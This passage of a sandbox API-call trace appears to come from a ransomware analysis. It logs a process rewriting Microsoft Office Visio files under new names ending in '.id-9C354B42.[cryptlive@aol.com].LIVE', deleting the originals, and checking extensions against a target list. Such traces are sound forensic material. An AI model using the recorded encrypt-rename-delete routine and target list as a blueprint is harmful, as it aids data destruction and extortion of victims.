hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.224] GetLastError () returned 0x0 [0147.224] ReadFile (in: hFile=0x36c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x71, lpOverlapped=0x0) returned 1 [0147.225] WriteFile (in: hFile=0x350, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x80, lpOverlapped=0x0) returned 1 [0147.226] ReadFile (in: hFile=0x36c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.226] WriteFile (in: hFile=0x350, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0147.226] SetEndOfFile (hFile=0x350) returned 1 [0147.226] CloseHandle (hObject=0x350) returned 1 [0147.226] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.226] SetEndOfFile (hFile=0x36c) returned 1 [0147.228] CloseHandle (hObject=0x36c) returned 1 [0147.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk")) returned 1 [0147.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0147.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0147.229] lstrlenW (lpString=".doc") returned 4 [0147.229] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0147.229] lstrlenW (lpString=".docx") returned 5 [0147.229] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0147.229] lstrlenW (lpString=".pdf") returned 4 [0147.230] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0147.230] lstrlenW (lpString=".xls") returned 4 [0147.230] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0147.230] lstrlenW (lpString=".xlsx") returned 5 [0147.230] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0147.230] lstrlenW (lpString=".ppt") returned 4 [0147.230] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0147.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0147.230] lstrlenW (lpString=".zip") returned 4 [0147.230] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0147.230] lstrlenW (lpString=".rar") returned 4 [0147.230] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0147.230] lstrlenW (lpString=".bz2") returned 4 [0147.230] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0147.230] lstrlenW (lpString=".7z") returned 3 [0147.230] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0147.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0147.230] lstrlenW (lpString=".dbf") returned 4 [0147.230] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0147.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0147.230] lstrlenW (lpString=".1cd") returned 4 [0147.230] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0147.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0147.230] lstrlenW (lpString=".jpg") returned 4 [0147.230] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0147.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0147.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0147.230] lstrlenW (lpString=".doc") returned 4 [0147.230] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0147.230] lstrlenW (lpString=".docx") returned 5 [0147.230] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0147.230] lstrlenW (lpString=".pdf") returned 4 [0147.230] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0147.230] lstrlenW (lpString=".xls") returned 4 [0147.230] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0147.231] lstrlenW (lpString=".xlsx") returned 5 [0147.231] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0147.231] lstrlenW (lpString=".ppt") returned 4 [0147.231] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0147.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0147.231] lstrlenW (lpString=".zip") returned 4 [0147.231] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0147.231] lstrlenW (lpString=".rar") returned 4 [0147.231] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0147.231] lstrlenW (lpString=".bz2") returned 4 [0147.231] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0147.231] lstrlenW (lpString=".7z") returned 3 [0147.231] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0147.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0147.231] lstrlenW (lpString=".dbf") returned 4 [0147.231] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0147.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0147.231] lstrlenW (lpString=".1cd") returned 4 [0147.231] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0147.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0147.231] lstrlenW (lpString=".jpg") returned 4 [0147.231] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0147.231] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0147.231] lstrlenW (lpString="VISUTILS.VSL") returned 12 [0147.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.232] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=50544) returned 1 [0147.232] CloseHandle (hObject=0x36c) returned 1 [0147.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl")) returned 0x20 [0147.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.232] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.232] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.234] GetLastError () returned 0x0 [0147.234] ReadFile (in: hFile=0x36c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xc570, lpOverlapped=0x0) returned 1 [0147.236] WriteFile (in: hFile=0x350, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xc580, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xc580, lpOverlapped=0x0) returned 1 [0147.238] ReadFile (in: hFile=0x36c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.238] WriteFile (in: hFile=0x350, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.238] SetEndOfFile (hFile=0x350) returned 1 [0147.238] CloseHandle (hObject=0x350) returned 1 [0147.238] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.238] SetEndOfFile (hFile=0x36c) returned 1 [0147.241] CloseHandle (hObject=0x36c) returned 1 [0147.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl")) returned 1 [0147.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0147.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0147.242] lstrlenW (lpString=".doc") returned 4 [0147.242] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0147.242] lstrlenW (lpString=".docx") returned 5 [0147.242] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0147.242] lstrlenW (lpString=".pdf") returned 4 [0147.242] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0147.242] lstrlenW (lpString=".xls") returned 4 [0147.242] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0147.242] lstrlenW (lpString=".xlsx") returned 5 [0147.242] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0147.242] lstrlenW (lpString=".ppt") returned 4 [0147.242] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0147.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0147.242] lstrlenW (lpString=".zip") returned 4 [0147.242] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0147.242] lstrlenW (lpString=".rar") returned 4 [0147.242] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0147.242] lstrlenW (lpString=".bz2") returned 4 [0147.242] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0147.242] lstrlenW (lpString=".7z") returned 3 [0147.242] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0147.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0147.242] lstrlenW (lpString=".dbf") returned 4 [0147.242] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0147.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0147.242] lstrlenW (lpString=".1cd") returned 4 [0147.243] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0147.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0147.243] lstrlenW (lpString=".jpg") returned 4 [0147.243] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0147.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0147.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0147.243] lstrlenW (lpString=".doc") returned 4 [0147.243] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0147.243] lstrlenW (lpString=".docx") returned 5 [0147.243] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0147.243] lstrlenW (lpString=".pdf") returned 4 [0147.243] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0147.243] lstrlenW (lpString=".xls") returned 4 [0147.243] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0147.243] lstrlenW (lpString=".xlsx") returned 5 [0147.243] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0147.243] lstrlenW (lpString=".ppt") returned 4 [0147.243] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0147.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0147.243] lstrlenW (lpString=".zip") returned 4 [0147.243] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0147.243] lstrlenW (lpString=".rar") returned 4 [0147.243] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0147.243] lstrlenW (lpString=".bz2") returned 4 [0147.243] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0147.243] lstrlenW (lpString=".7z") returned 3 [0147.243] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0147.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0147.244] lstrlenW (lpString=".dbf") returned 4 [0147.244] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0147.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0147.244] lstrlenW (lpString=".1cd") returned 4 [0147.244] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0147.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60 [0147.244] lstrlenW (lpString=".jpg") returned 4 [0147.244] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0147.244] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0147.244] lstrlenW (lpString="VISWEB.VSL") returned 10 [0147.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.245] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=68488) returned 1 [0147.245] CloseHandle (hObject=0x36c) returned 1 [0147.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl")) returned 0x20 [0147.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.245] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.245] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.246] GetLastError () returned 0x0 [0147.246] ReadFile (in: hFile=0x36c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x10b88, lpOverlapped=0x0) returned 1 [0147.254] WriteFile (in: hFile=0x350, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x10b90, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x10b90, lpOverlapped=0x0) returned 1 [0147.256] ReadFile (in: hFile=0x36c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.256] WriteFile (in: hFile=0x350, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0147.256] SetEndOfFile (hFile=0x350) returned 1 [0147.256] CloseHandle (hObject=0x350) returned 1 [0147.257] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.257] SetEndOfFile (hFile=0x36c) returned 1 [0147.260] CloseHandle (hObject=0x36c) returned 1 [0147.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl")) returned 1 [0147.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0147.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0147.289] lstrlenW (lpString=".doc") returned 4 [0147.289] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0147.289] lstrlenW (lpString=".docx") returned 5 [0147.289] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1 [0147.289] lstrlenW (lpString=".pdf") returned 4 [0147.289] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0147.289] lstrlenW (lpString=".xls") returned 4 [0147.289] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0147.289] lstrlenW (lpString=".xlsx") returned 5 [0147.289] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1 [0147.289] lstrlenW (lpString=".ppt") returned 4 [0147.290] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0147.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0147.290] lstrlenW (lpString=".zip") returned 4 [0147.290] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0147.290] lstrlenW (lpString=".rar") returned 4 [0147.290] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0147.290] lstrlenW (lpString=".bz2") returned 4 [0147.290] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0147.290] lstrlenW (lpString=".7z") returned 3 [0147.290] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0147.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0147.290] lstrlenW (lpString=".dbf") returned 4 [0147.290] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0147.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0147.290] lstrlenW (lpString=".1cd") returned 4 [0147.290] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0147.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0147.290] lstrlenW (lpString=".jpg") returned 4 [0147.290] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0147.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0147.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0147.290] lstrlenW (lpString=".doc") returned 4 [0147.290] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0147.290] lstrlenW (lpString=".docx") returned 5 [0147.290] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1 [0147.291] lstrlenW (lpString=".pdf") returned 4 [0147.291] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0147.291] lstrlenW (lpString=".xls") returned 4 [0147.291] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0147.291] lstrlenW (lpString=".xlsx") returned 5 [0147.291] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1 [0147.291] lstrlenW (lpString=".ppt") returned 4 [0147.291] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0147.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0147.291] lstrlenW (lpString=".zip") returned 4 [0147.291] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0147.291] lstrlenW (lpString=".rar") returned 4 [0147.291] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0147.291] lstrlenW (lpString=".bz2") returned 4 [0147.291] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0147.291] lstrlenW (lpString=".7z") returned 3 [0147.291] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0147.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0147.291] lstrlenW (lpString=".dbf") returned 4 [0147.291] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0147.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0147.291] lstrlenW (lpString=".1cd") returned 4 [0147.291] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0147.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0147.291] lstrlenW (lpString=".jpg") returned 4 [0147.291] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0147.291] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0147.291] lstrlenW (lpString="VVIEWRES.DLL") returned 12 [0147.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.296] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=668544) returned 1 [0147.296] CloseHandle (hObject=0x36c) returned 1 [0147.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll")) returned 0x20 [0147.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0147.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0147.298] lstrlenW (lpString=".doc") returned 4 [0147.298] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0147.298] lstrlenW (lpString=".docx") returned 5 [0147.298] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0147.298] lstrlenW (lpString=".pdf") returned 4 [0147.298] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0147.298] lstrlenW (lpString=".xls") returned 4 [0147.298] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0147.298] lstrlenW (lpString=".xlsx") returned 5 [0147.298] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0147.298] lstrlenW (lpString=".ppt") returned 4 [0147.299] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0147.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0147.299] lstrlenW (lpString=".zip") returned 4 [0147.299] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0147.299] lstrlenW (lpString=".rar") returned 4 [0147.299] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0147.299] lstrlenW (lpString=".bz2") returned 4 [0147.299] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0147.299] lstrlenW (lpString=".7z") returned 3 [0147.299] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0147.299] lstrlenW 